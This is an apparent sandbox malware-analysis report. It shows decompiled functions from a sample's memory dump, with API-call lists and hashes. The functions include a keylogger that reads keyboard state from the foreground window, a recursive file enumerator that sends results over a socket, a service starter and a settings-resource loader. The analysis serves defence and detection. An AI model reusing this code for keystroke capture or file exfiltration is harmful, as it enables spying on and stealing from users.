				 *(_t273 - 0x1c) =  *(_t273 - 0x1c) | 0xffffffff;
				 *_t180 = 0;
				 *(_t273 - 4) =  *(_t273 - 4) & 0x00000000;
				_t260 = _t180 + 4;
				E0040482D(_t180 + 4);
				_t101 = E004048C8(_t180 + 4, _t265, _t180 + 4);
				_t282 = _t101;
				if(_t101 == 0) {
					_push(0);
					_push(0);
					goto L4;
				} else {
					_t276 = _t276 - 0x18;
					_t258 = E00402F31(_t273 - 0x6c, _t273 + 0x38, _t273, 0x474ee0);
					E00402F10(_t180, _t276, _t174, _t273, _t282, _t273 + 0x50);
					_push(0x64);
					_t180 = _t180 & 0xffffff00 | E00404AA1(_t260, _t174, _t282) == 0xffffffff;
					E00401FD8();
					if(_t180 != 0) {
						E00404E26(_t258);
						 *((intOrPtr*)(_t273 - 0x20)) = 1;
						_push(0x46ed90);
						_t152 = _t273 - 0x20;
						L3:
						_push(_t152);
						L4:
						E00439076();
					}
				}
				_t261 = E00402305(_t273 + 0x20, _t273 - 0x30);
				_t106 = E004022CA(_t273 + 0x20, _t273 - 0x34);
				E00409BDB(_t273 - 0x3c,  *((intOrPtr*)(E00402305(_t273 + 0x20, _t273 - 0x38))),  *_t106,  *_t104);
				_t277 = _t276 + 0xc;
				_t252 = _t273 + 8;
				_t267 = FindFirstFileW(E00401F04(E0040915B(_t273 - 0x6c, _t273 + 8, _t273, "*")), _t273 - 0x304);
				 *(_t273 - 0x1c) = _t267;
				E00401F09();
				_t285 = _t267 - 0xffffffff;
				if(_t267 != 0xffffffff) {
					goto L7;
				} else {
					_t276 = _t277 - 0x18;
					E00402093(_t180, _t276, _t252, _t273, 0x4660a4);
					_push(0x65);
					E00404AA1( *(_t273 - 0x18) + 4, _t252, _t285);
					E00404E26(_t252);
					 *((intOrPtr*)(_t273 - 0x24)) = 2;
					_push(0x46ed90);
					_t152 = _t273 - 0x24;
					goto L3;
				}
				while(1) {
					L7:
					_t116 = FindNextFileW(_t267, _t273 - 0x304);
					__eflags = _t116;
					if(_t116 == 0) {
						break;
					}
					_t180 =  *(_t273 - 0x18);
					__eflags =  *_t180;
					if( *_t180 == 0) {
						__eflags =  *(_t273 - 0x304) & 0x00000010;
						if(( *(_t273 - 0x304) & 0x00000010) == 0) {
							L17:
							E0040417E(_t180, _t273 - 0x84, _t252, _t273, _t273 - 0x2d8);
							_t261 = E00402305(_t273 - 0x84, _t273 - 0x3c);
							_t270 = E004022CA(_t273 - 0x84, _t273 - 0x38);
							E00409BDB(_t273 - 0x30,  *((intOrPtr*)(E00402305(_t273 - 0x84, _t273 - 0x34))),  *_t134,  *_t132);
							_t277 = _t277 + 0xc;
							__eflags = E00409A5E(_t273 - 0x84, _t273 + 0x20, 0) - 0xffffffff;
							if(__eflags == 0) {
								L20:
								E00401F09();
								_t267 =  *(_t273 - 0x1c);
								continue;
							} else {
								E00401FE2(_t273 - 0x9c, _t252, _t270, E004020B7(_t180, _t273 - 0x54, _t252, _t273, __eflags, _t273 - 0x304, 0x250));
								E00401FD8();
								_t277 = _t277 - 0x18;
								_t252 = E00402F10(_t180, _t273 - 0x54, E0041BC70(_t180, _t273 - 0xb4, _t273 + 8), _t273, __eflags, 0x474ee0);
								E00402F10(_t180, _t277, _t147, _t273, __eflags, _t273 - 0x9c);
								_push(0x66);
								_t149 = E00404AA1(_t180 + 4, _t147, __eflags);
								__eflags = _t149 - 0xffffffff;
								_t180 = _t180 & 0xffffff00 | _t149 == 0xffffffff;
								E00401FD8();
								E00401FD8();
								__eflags = _t180;
								if(_t180 == 0) {
									goto L20;
								} else {
									 *((intOrPtr*)(_t273 - 0x2c)) = 4;
									_push(0x46ed90);
									_t152 = _t273 - 0x2c;
									goto L3;
								}
							}
						} else {
							_t154 = E0043F8A4(_t273 - 0x2d8, _t273 - 0x2d8, 0x466528);
							__eflags = _t154;
							if(_t154 == 0) {
								goto L17;
							} else {
								__eflags = E0043F8A4(_t273 - 0x2d8, _t273 - 0x2d8, L"..");
								if(__eflags == 0) {
									goto L17;
								} else {
									_t252 = E004091C0(_t180, _t273 - 0xb4, _t273 + 8, _t273, __eflags, E0040417E(_t180, _t273 - 0x54, _t252, _t273, _t273 - 0x2d8));
									E00403014(_t180, _t273 - 0x6c, _t159, _t261, _t273, __eflags, "\\");
									E00401F09();
									E00401F09();
									_t280 = _t277 - 0x18;
									E0040905C(_t180, _t280, _t159, __eflags, _t273 + 0x20);
									_t277 = _t280 - 0x18;
									E0040905C(_t180, _t277, _t159, __eflags, _t273 - 0x6c);
									_t167 = E00409665(_t180, _t159, __eflags);
									__eflags = _t167;
									if(_t167 != 0) {
										E00401F09();
										goto L17;
									} else {
										 *((intOrPtr*)(_t273 - 0x28)) = 3;
										_push(0x46ed90);
										_t152 = _t273 - 0x28;
										goto L3;
									}
								}
							}
						}
						L23:
						E00401FD8();
						E00401F09();
						E00401F09();
						E00401FD8();
						_t128 = E00401FD8();
						 *[fs:0x0] =  *((intOrPtr*)(_t273 - 0xc));
						return _t128;
					} else {
						FindClose(_t267);
					}
					L10:
					E00404E26(_t252);
					goto L23;
				}
				 *(_t273 - 4) =  *(_t273 - 4) | 0xffffffff;
				FindClose(_t267);
				_t252 = E00402F31(_t273 - 0x54, _t273 + 0x38, _t273, 0x474ee0);
				E00402F10(_t180, _t277 - 0x18, _t119, _t273, __eflags, _t273 + 0x50);
				_push(0x67);
				E00404AA1( *(_t273 - 0x18) + 4, _t119, __eflags);
				E00401FD8();
				goto L10;
			}























                                    0x00409253
                                    0x00409258
                                    0x0040925d
                                    0x00409264
                                    0x00409266
                                    0x00409269
                                    0x0040926b
                                    0x00409274
                                    0x00409279
                                    0x0040927d
                                    0x00409280
                                    0x00409284
                                    0x00409289
                                    0x00409291
                                    0x00409296
                                    0x00409298
                                    0x00409600
                                    0x00409602
                                    0x00000000
                                    0x0040929e
                                    0x0040929e
                                    0x004092b8
                                    0x004092bc
                                    0x004092c2
                                    0x004092ce
                                    0x004092d4
                                    0x004092db
                                    0x004092df
                                    0x004092e4
                                    0x004092eb
                                    0x004092f0
                                    0x004092f3
                                    0x004092f3
                                    0x004092f4
                                    0x004092f4
                                    0x004092f4
                                    0x004092db
                                    0x00409305
                                    0x0040930e
                                    0x0040932a
                                    0x0040932f
                                    0x0040933e
                                    0x00409358
                                    0x0040935a
                                    0x00409360
                                    0x00409365
                                    0x00409368
                                    0x00000000
                                    0x0040936a
                                    0x0040936a
                                    0x00409374
                                    0x00409379
                                    0x00409381
                                    0x00409389
                                    0x0040938e
                                    0x00409395
                                    0x0040939a
                                    0x00000000
                                    0x0040939a
                                    0x004093a2
                                    0x004093a2
                                    0x004093aa
                                    0x004093b0
                                    0x004093b2
                                    0x00000000
                                    0x00000000
                                    0x004093b8
                                    0x004093bb
                                    0x004093be
                                    0x004093d4
                                    0x004093db
                                    0x0040949c
                                    0x004094a9
                                    0x004094bd
                                    0x004094ce
                                    0x004094e8
                                    0x004094ed
                                    0x00409501
                                    0x00409504
                                    0x004095a1
                                    0x004095a7
                                    0x004095ac
                                    0x00000000
                                    0x0040950a
                                    0x00409525
                                    0x0040952d
                                    0x00409532
                                    0x0040955c
                                    0x00409560
                                    0x00409566
                                    0x0040956b
                                    0x00409570
                                    0x00409573
                                    0x00409579
                                    0x00409584
                                    0x00409589
                                    0x0040958b
                                    0x00000000
                                    0x0040958d
                                    0x0040958d
                                    0x00409594
                                    0x00409599
                                    0x00000000
                                    0x00409599
                                    0x0040958b
                                    0x004093e1
                                    0x004093ed
                                    0x004093f4
                                    0x004093f6
                                    0x00000000
                                    0x004093fc
                                    0x0040940f
                                    0x00409411
                                    0x00000000
                                    0x00409417
                                    0x0040943b
                                    0x00409440
                                    0x0040944c
                                    0x00409454
                                    0x00409459
                                    0x00409462
                                    0x00409467
                                    0x00409470
                                    0x00409477
                                    0x0040947c
                                    0x0040947e
                                    0x00409497
                                    0x00000000
                                    0x00409480
                                    0x00409480
                                    0x00409487
                                    0x0040948c
                                    0x00000000
                                    0x0040948c
                                    0x0040947e
                                    0x00409411
                                    0x004093f6
                                    0x00409627
                                    0x0040962d
                                    0x00409635
                                    0x0040963d
                                    0x00409645
                                    0x0040964d
                                    0x00409655
                                    0x00409662
                                    0x004093c0
                                    0x004093c1
                                    0x004093c7
                                    0x004093ca
                                    0x004093ca
                                    0x00000000
                                    0x004093ca
                                    0x004095b4
                                    0x004095b9
                                    0x004095dc
                                    0x004095e0
                                    0x004095e6
                                    0x004095eb
                                    0x004095f3
                                    0x00000000

                                    APIs
                                    • __EH_prolog.LIBCMT ref: 00409258
                                      • Part of subcall function 004048C8: connect.WS2_32(?,?,?), ref: 004048E0
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    • __CxxThrowException@8.LIBVCRUNTIME ref: 004092F4
                                    • FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 00409352
                                    • FindNextFileW.KERNEL32(00000000,?), ref: 004093AA
                                    • FindClose.KERNEL32(00000000), ref: 004093C1
                                      • Part of subcall function 00404E26: WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                                      • Part of subcall function 00404E26: SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                                      • Part of subcall function 00404E26: FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E4C
                                    • FindClose.KERNEL32(00000000), ref: 004095B9
                                      • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                      • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Find$Close$EventFileObjectSingleWait$ChangeException@8FirstH_prologNextNotificationThrowconnectsend
                                    • String ID:
                                    • API String ID: 2435342581-0
                                    • Opcode ID: baf3cd22c25b9b7522d5d4a046de67256374b0456c5951a36ed99fc9d306e32f
                                    • Instruction ID: 2ab89cb603b977254cd1fa1858cb7c3fe99ac624a12264ee3ddf61ca8aaa6c11
                                    • Opcode Fuzzy Hash: baf3cd22c25b9b7522d5d4a046de67256374b0456c5951a36ed99fc9d306e32f
                                    • Instruction Fuzzy Hash: 87B18E32900109AACB14FBA1DD96AED7779AF04318F10417FF506B60E2EF785E49CB99
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040A3E0 Relevance: 9.1, APIs: 6, Instructions: 54keyboardthreadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 89%
                                    			E0040A3E0(void* __ecx, intOrPtr _a4) {
				long _v8;
				void _v38;
				short _v40;
				char _v296;
				void* __ebx;
				void* __edi;
				void* __ebp;
				struct HKL__* _t20;
				void* _t30;
				signed int _t32;
				void* _t36;
				void* _t37;
				void* _t41;

				_t30 = __ecx;
				E00436DE0(_t37,  &_v296, 0, 0x100);
				_v40 = 0;
				_t32 = 7;
				memset( &_v38, 0, _t32 << 2);
				asm("stosw");
				_t20 = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(),  &_v8));
				GetKeyState(0x10);
				GetKeyboardState( &_v296);
				ToUnicodeEx( *(_t30 + 0x54),  *(_t30 + 0x58),  &_v296,  &_v40, 0x10, 0, _t20);
				E0040417E(_t30, _a4, _t36, _t41,  &_v40);
				return _a4;
			}
















                                    0x0040a3f7
                                    0x0040a3fc
                                    0x0040a409
                                    0x0040a40f
                                    0x0040a410
                                    0x0040a412
                                    0x0040a426
                                    0x0040a430
                                    0x0040a43d
                                    0x0040a459
                                    0x0040a466
                                    0x0040a474

                                    APIs
                                    • GetForegroundWindow.USER32(004750F0,?,004750F0), ref: 0040A414
                                    • GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A41F
                                    • GetKeyboardLayout.USER32 ref: 0040A426
                                    • GetKeyState.USER32 ref: 0040A430
                                    • GetKeyboardState.USER32(?), ref: 0040A43D
                                    • ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A459
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: KeyboardStateWindow$ForegroundLayoutProcessThreadUnicode
                                    • String ID:
                                    • API String ID: 3566172867-0
                                    • Opcode ID: 844ac67e9bb01e022d5e1c3247d2b7046eb1d2e1975d077ec3cb4ec24acbdb08
                                    • Instruction ID: d9f8241167ad41bd9c394543ac99c60b0fd3515079f7b3463246de949f6cad55
                                    • Opcode Fuzzy Hash: 844ac67e9bb01e022d5e1c3247d2b7046eb1d2e1975d077ec3cb4ec24acbdb08
                                    • Instruction Fuzzy Hash: FC110C72900208FBDB109BA4ED49FDA7BBCEB4C705F000465FA04E6191D675EE54CBA4
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041A99C Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041A99C(char _a4) {
				signed int _t14;
				void* _t17;
				void* _t18;

				_t14 = 0;
				_t18 = OpenSCManagerW(0, 0, 0x10);
				_t17 = OpenServiceW(_t18, E00401F04( &_a4), 0x10);
				if(_t17 != 0) {
					_t14 = 0 | StartServiceW(_t17, 0, 0) != 0x00000000;
					CloseServiceHandle(_t18);
					CloseServiceHandle(_t17);
				} else {
					CloseServiceHandle(_t18);
				}
				E00401F09();
				return _t14;
			}






                                    0x0041a9a1
                                    0x0041a9b1
                                    0x0041a9c0
                                    0x0041a9c4
                                    0x0041a9e1
                                    0x0041a9e4
                                    0x0041a9e7
                                    0x0041a9c6
                                    0x0041a9c7
                                    0x0041a9c7
                                    0x0041a9ed
                                    0x0041a9f7

                                    APIs
                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A5F2,00000000), ref: 0041A9A5
                                    • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A5F2,00000000), ref: 0041A9BA
                                    • CloseServiceHandle.ADVAPI32(00000000,?,0041A5F2,00000000), ref: 0041A9C7
                                    • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A5F2,00000000), ref: 0041A9D2
                                    • CloseServiceHandle.ADVAPI32(00000000,?,0041A5F2,00000000), ref: 0041A9E4
                                    • CloseServiceHandle.ADVAPI32(00000000,?,0041A5F2,00000000), ref: 0041A9E7
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Service$CloseHandle$Open$ManagerStart
                                    • String ID:
                                    • API String ID: 276877138-0
                                    • Opcode ID: f0a41ace0033e4adc6ed211f5b9a4713447c101ebbe7debfeabf45247fd2b7b8
                                    • Instruction ID: aad235207f6df5fb76793b8364716305c2c68f3e6fa2b2f66fb855dd7cfa1faf
                                    • Opcode Fuzzy Hash: f0a41ace0033e4adc6ed211f5b9a4713447c101ebbe7debfeabf45247fd2b7b8
                                    • Instruction Fuzzy Hash: EBF0E9B1111325AFD2115B209C88DFF376CDF81B66B00082AF901921919B68CC85A5B9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0045238D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 94%
                                    			E0045238D(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_push(__ecx);
				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					_t12 = _a8 + 8; // 0xfde8fe81
					if(GetLocaleInfoW( *_t12, 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = 0x460348;
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = 0x460350;
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E0043B9D2(_t23, _t23);
									goto L25;
								}
								_t8 = _a8 + 8; // 0xfde8fe81
								if(GetLocaleInfoW( *_t8, 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}
















                                    0x00452392
                                    0x00452393
                                    0x0045239a
                                    0x0045243e
                                    0x0045244c
                                    0x00452457
                                    0x0045245d
                                    0x00452462
                                    0x00452464
                                    0x00452464
                                    0x0045246a
                                    0x0045246f
                                    0x0045246f
                                    0x00452459
                                    0x00452459
                                    0x00000000
                                    0x00452459
                                    0x004523a0
                                    0x004523a5
                                    0x00000000
                                    0x00000000
                                    0x004523ab
                                    0x004523b0
                                    0x004523b2
                                    0x004523b2
                                    0x004523b8
                                    0x00000000
                                    0x00000000
                                    0x004523bd
                                    0x004523d4
                                    0x004523d4
                                    0x004523dd
                                    0x004523df
                                    0x00000000
                                    0x00000000
                                    0x004523e1
                                    0x004523e6
                                    0x004523e8
                                    0x004523e8
                                    0x004523ee
                                    0x00000000
                                    0x00000000
                                    0x004523f3
                                    0x00452411
                                    0x00452413
                                    0x00452436
                                    0x00000000
                                    0x0045243b
                                    0x00452423
                                    0x0045242e
                                    0x00000000
                                    0x00000000
                                    0x00452430
                                    0x00000000
                                    0x00452430
                                    0x004523f5
                                    0x004523fd
                                    0x00000000
                                    0x00000000
                                    0x004523ff
                                    0x00452402
                                    0x00452408
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0045240a
                                    0x0045240c
                                    0x0045240e
                                    0x00000000
                                    0x0045240e
                                    0x004523bf
                                    0x004523c7
                                    0x00000000
                                    0x00000000
                                    0x004523c9
                                    0x004523cc
                                    0x004523d2
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004523d2
                                    0x004523d8
                                    0x004523da
                                    0x00000000

                                    APIs
                                    • GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,004526AC,?,00000000), ref: 00452426
                                    • GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,004526AC,?,00000000), ref: 0045244F
                                    • GetACP.KERNEL32(?,?,004526AC,?,00000000), ref: 00452464
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: InfoLocale
                                    • String ID: ACP$OCP
                                    • API String ID: 2299586839-711371036
                                    • Opcode ID: 8109e71563a39a3b26d0eb2584ef597fedb24f2fc8293daa357ab739a01d4f79
                                    • Instruction ID: ba56ab55708b7a9da9a0ddc5a6accb318fde3187c61372a45795a5a5d9ecbd0d
                                    • Opcode Fuzzy Hash: 8109e71563a39a3b26d0eb2584ef597fedb24f2fc8293daa357ab739a01d4f79
                                    • Instruction Fuzzy Hash: 1621C732700200A6D7348F64CA00B9B73A6EF57B53B568567ED09D7312E7BADD89C358
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041B3FA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E0041B3FA(void** __ecx) {
				struct HRSRC__* _t1;
				void* _t3;
				long _t4;
				void** _t5;
				struct HRSRC__* _t7;

				_t5 = __ecx;
				_t1 = FindResourceA( *0x472d40, "SETTINGS", 0xa);
				_t7 = _t1;
				if(_t7 != 0) {
					_t3 = LockResource(LoadResource( *0x472d40, _t7));
					_t4 = SizeofResource( *0x472d40, _t7);
					 *_t5 = _t3;
					return _t4;
				}
				return _t1;
			}








                                    0x0041b409
                                    0x0041b40b
                                    0x0041b411
                                    0x0041b415
                                    0x0041b426
                                    0x0041b435
                                    0x0041b43b
                                    0x00000000
                                    0x0041b43d
                                    0x0041b440

                                    APIs
                                    • FindResourceA.KERNEL32(SETTINGS,0000000A,00000000), ref: 0041B40B
                                    • LoadResource.KERNEL32(00000000,?,?,0040F32C,00000000), ref: 0041B41F
                                    • LockResource.KERNEL32(00000000,?,?,0040F32C,00000000), ref: 0041B426
                                    • SizeofResource.KERNEL32(00000000,?,?,0040F32C,00000000), ref: 0041B435
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Resource$FindLoadLockSizeof
                                    • String ID: SETTINGS
                                    • API String ID: 3473537107-594951305
                                    • Opcode ID: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                    • Instruction ID: 96162d5f895da317b3e05159d8d978381e0ffb4b8556c96528ce0dca31bcad46
                                    • Opcode Fuzzy Hash: 572f255012f9d3464d264dba9da87f940f43aba7d13ccaaee0753afa8a381888
                                    • Instruction Fuzzy Hash: A1E01A36200B22EBEB311BA5AD4CD463E29F7C97637140075F90596631CB758840DAA8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00409665 Relevance: 7.7, APIs: 5, Instructions: 222fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 93%
                                    			E00409665(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t77;
				intOrPtr* _t79;
				signed int _t89;
				signed int _t94;
				intOrPtr* _t98;
				void* _t115;
				signed int _t123;
				signed int _t125;
				void* _t142;
				signed int _t143;
				intOrPtr _t146;
				char* _t209;
				void* _t213;
				void* _t217;
				void* _t219;
				intOrPtr _t220;
				void* _t221;
				void* _t223;

				_t146 = __ecx;
				E00457978(E00457D5D, _t217);
				_t220 = _t219 - 0x308;
				_push(_t142);
				 *((intOrPtr*)(_t217 - 0x10)) = _t220;
				 *((intOrPtr*)(_t217 - 0x18)) = _t146;
				E004020DF(_t142, _t217 - 0x5c);
				_t77 = E00402305(_t217 + 0x20, _t217 - 0x1c);
				_t79 = E004022CA(_t217 + 0x20, _t217 - 0x20);
				E00409BDB(_t217 - 0x28,  *((intOrPtr*)(E00402305(_t217 + 0x20, _t217 - 0x24))),  *_t79,  *_t77);
				_t221 = _t220 + 0xc;
				_t202 = _t217 + 8;
				_t213 = FindFirstFileW(E00401F04(E0040915B(_t217 - 0xbc, _t217 + 8, _t217, "*")), _t217 - 0x30c);
				 *(_t217 - 0x1c) = _t213;
				E00401F09();
				if(_t213 != 0xffffffff) {
					_t143 = 0;
					__eflags = 0;
					while(1) {
						_t89 = FindNextFileW(_t213, _t217 - 0x30c);
						__eflags = _t89;
						if(_t89 == 0) {
							break;
						}
						_t209 =  *((intOrPtr*)(_t217 - 0x18));
						__eflags =  *_t209;
						if( *_t209 == 0) {
							__eflags =  *(_t217 - 0x30c) & 0x00000010;
							if(( *(_t217 - 0x30c) & 0x00000010) != 0) {
								_t123 = E0043F8A4(_t217 - 0x2e0, _t217 - 0x2e0, 0x466528);
								__eflags = _t123;
								if(_t123 != 0) {
									_t125 = E0043F8A4(_t217 - 0x2e0, _t217 - 0x2e0, L"..");
									_pop(_t170);
									__eflags = _t125;
									if(__eflags != 0) {
										_t202 = E004091C0(_t143, _t217 - 0x8c, _t217 + 8, _t217, __eflags, E0040417E(_t143, _t217 - 0x74, _t202, _t217, _t217 - 0x2e0));
										E00409C05(_t143, _t217 - 0xa4, _t128, _t209, __eflags);
										E00401F09();
										E00401F09();
										_t223 = _t221 - 0x18;
										E0040905C(_t143, _t223, _t128, __eflags, _t217 + 0x20);
										_t221 = _t223 - 0x18;
										E0040905C(_t143, _t221, _t128, __eflags, _t217 - 0xa4);
										E00409665(_t209, _t202, __eflags);
										E00401F09();
									}
								}
							}
							E0040417E(_t143, _t217 - 0x40, _t202, _t217, _t217 - 0x2e0);
							_t98 = E00402305(_t217 - 0x40, _t217 - 0x28);
							_t215 = E004022CA(_t217 - 0x40, _t217 - 0x24);
							E00409BDB(_t217 - 0x44,  *((intOrPtr*)(E00402305(_t217 - 0x40, _t217 - 0x20))),  *_t100,  *_t98);
							_t221 = _t221 + 0xc;
							__eflags = E00409A5E(_t217 - 0x40, _t217 + 0x20, _t143) - 0xffffffff;
							if(__eflags == 0) {
								L15:
								E00401F09();
								_t213 =  *(_t217 - 0x1c);
								continue;
							} else {
								E00401FE2(_t217 - 0x5c, _t202, _t215, E004020B7(_t143, _t217 - 0x74, _t202, _t217, __eflags, _t217 - 0x30c, 0x250));
								E00401FD8();
								 *(_t217 - 4) = _t143;
								_t221 = _t221 - 0x18;
								_t202 = E00402F10(_t143, _t217 - 0x74, E0041BC70(_t143, _t217 - 0x8c, _t217 + 8), _t217, __eflags, 0x474ee0);
								E00402F10(_t143, _t221, _t113, _t217, __eflags, _t217 - 0x5c);
								_push(0x66);
								_t115 = E00404AA1( *((intOrPtr*)(_t217 - 0x18)) + 4, _t113, __eflags);
								__eflags = _t115 - 0xffffffff;
								E00401FD8();
								E00401FD8();
								__eflags = _t143 & 0xffffff00 | _t115 == 0xffffffff;
								if((_t143 & 0xffffff00 | _t115 == 0xffffffff) == 0) {
									 *(_t217 - 4) =  *(_t217 - 4) | 0xffffffff;
									_t143 = 0;
									__eflags = 0;
									goto L15;
								}
								E00401F09();
								E00401FD8();
								E00401F09();
								E00401F09();
								_t94 = 0;
								goto L17;
							}
						}
						FindClose(_t213);
						goto L6;
					}
					FindClose(_t213);
					E00401FD8();
					E00401F09();
					E00401F09();
					_t94 = 1;
					goto L17;
				} else {
					_t143 = 1;
					L6:
					E00401FD8();
					E00401F09();
					E00401F09();
					_t94 = _t143;
					L17:
					 *[fs:0x0] =  *((intOrPtr*)(_t217 - 0xc));
					return _t94;
				}
			}
























                                    0x00409665
                                    0x0040966a
                                    0x0040966f
                                    0x00409675
                                    0x00409678
                                    0x0040967b
                                    0x00409681
                                    0x0040968d
                                    0x0040969b
                                    0x004096b7
                                    0x004096bc
                                    0x004096cb
                                    0x004096e8
                                    0x004096ea
                                    0x004096f3
                                    0x004096fb
                                    0x00409701
                                    0x00409701
                                    0x00409703
                                    0x0040970b
                                    0x00409711
                                    0x00409713
                                    0x00000000
                                    0x00000000
                                    0x00409719
                                    0x0040971c
                                    0x0040971f
                                    0x00409747
                                    0x0040974e
                                    0x00409760
                                    0x00409767
                                    0x00409769
                                    0x0040977b
                                    0x00409781
                                    0x00409782
                                    0x00409784
                                    0x004097a6
                                    0x004097ae
                                    0x004097ba
                                    0x004097c2
                                    0x004097c7
                                    0x004097d0
                                    0x004097d5
                                    0x004097e1
                                    0x004097e8
                                    0x004097f3
                                    0x004097f3
                                    0x00409784
                                    0x00409769
                                    0x00409802
                                    0x0040980e
                                    0x00409821
                                    0x00409838
                                    0x0040983d
                                    0x0040984d
                                    0x00409850
                                    0x00409909
                                    0x0040990c
                                    0x00409911
                                    0x00000000
                                    0x00409856
                                    0x0040986e
                                    0x00409876
                                    0x0040987b
                                    0x0040987e
                                    0x004098a5
                                    0x004098a9
                                    0x004098af
                                    0x004098b7
                                    0x004098bc
                                    0x004098c5
                                    0x004098d0
                                    0x004098d5
                                    0x004098d7
                                    0x00409903
                                    0x00409907
                                    0x00409907
                                    0x00000000
                                    0x00409907
                                    0x004098dc
                                    0x004098e4
                                    0x004098ec
                                    0x004098f4
                                    0x004098f9
                                    0x00000000
                                    0x004098f9
                                    0x00409850
                                    0x00409722
                                    0x00000000
                                    0x00409722
                                    0x0040991a
                                    0x00409923
                                    0x0040992b
                                    0x00409933
                                    0x00409938
                                    0x00000000
                                    0x004096fd
                                    0x004096fd
                                    0x00409728
